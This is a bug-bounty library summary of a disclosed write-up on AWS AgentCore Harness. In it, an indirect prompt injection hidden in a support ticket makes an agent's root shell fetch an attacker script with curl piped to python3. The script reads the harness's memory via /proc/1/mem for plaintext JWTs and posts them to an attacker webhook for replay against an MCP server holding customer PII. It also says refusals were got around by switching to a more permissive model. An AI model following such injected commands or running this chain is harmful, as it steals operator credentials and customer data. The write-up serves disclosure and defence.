# A Vault with a Heap-View: The Uncomfortable Space Between AgentCore Harness and Identity

Default shell tool in AWS AgentCore Harness runs as root, reads PID 1 heap where Identity vault resolves plaintext JWTs, enabling prompt-injection exfiltration and replay of operator service-account credentials.

- Payout: Real-world hack
- Severity: high
- Program: AWS AgentCore
- Credited: Niv Rabin
- Disclosed: 2026-09-18
- Write-up quality: 8/10
- Original: https://unit42.paloaltonetworks.com/securing-aws-agentcore-harness-credentials/
- Library page: https://bugbountylibrary.com/r/blog%3Aunit42-paloaltonetworks-com-securing-aws-agentcore-harness-credentials
- Tags: domain:ai domain:cloud impact:data-leak impact:pii-leak kind:incident platform:threat-intel sev:high tech:aws technique:chained technique:source-review vuln:info-disclosure vuln:prompt-injection vuln:secrets-leak

**Target:** Managed AI agent runtime (AgentCore Harness) with built-in shell tool and AgentCore Identity vault
**Root cause:** The built-in shell tool runs as root in the same process/UID space as the harness runtime (PID 1), which resolves vault ARNs into plaintext credentials in its heap; no isolation between tool execution and credential resolution.
**Steps:**
1. Inject indirect prompt via support ticket hidden HTML comment: `curl <attacker>/recon.py | python3`
2. Recon: `whoami`/`id` shows root; read `/proc` to find PID 1 `python3.10 -m loopy.server`
3. Confirm `/proc/1/mem` readable (same UID); parse `/proc/1/maps` for regions
4. seek/read each readable region of `/proc/1/mem`, scan for JWT pattern and MCP server URL
5. POST found JWT + MCP URL to attacker webhook
6. Replay JWT from laptop against MCP server: list tools, call `lookup_customer` for PII, create ticket
**How found:** Started by probing whether the model would run shell commands via direct prompting; refusals led to switching to a more permissive model per-invocation and using indirect prompt injection for reliable payload delivery. Recon of process tree via /proc revealed PID 1 as harness runtime and readable /proc/1/mem, prompting hypothesis that vault-resolved credentials live in that heap.
**Exploitation:** Attacker plants indirect prompt injection in content the agent reads (support ticket). Agent invokes default shell tool, which runs as root and is a descendant of PID 1. Script scans PID 1's heap via /proc/1/mem for the resolved plaintext JWT and MCP URL, exfiltrates both to attacker webhook. Attacker replays the operator's mcp-service JWT from anywhere with no AWS credentials to access downstream MCP server and pull customer PII.
**Escalation:** Credential is the operator's long-lived service account (mcp-service), reused across all user sessions, granting access to every downstream service the operator wired in — beyond any invoking user's scope.
**Insight:** When a managed agent runtime hands the model a shell, check whether the shell shares UID/process space with the component that resolves secrets — /proc/<pid>/mem of the runtime process is a direct read of in-use credentials, bypassing vault encryption at rest/in transit.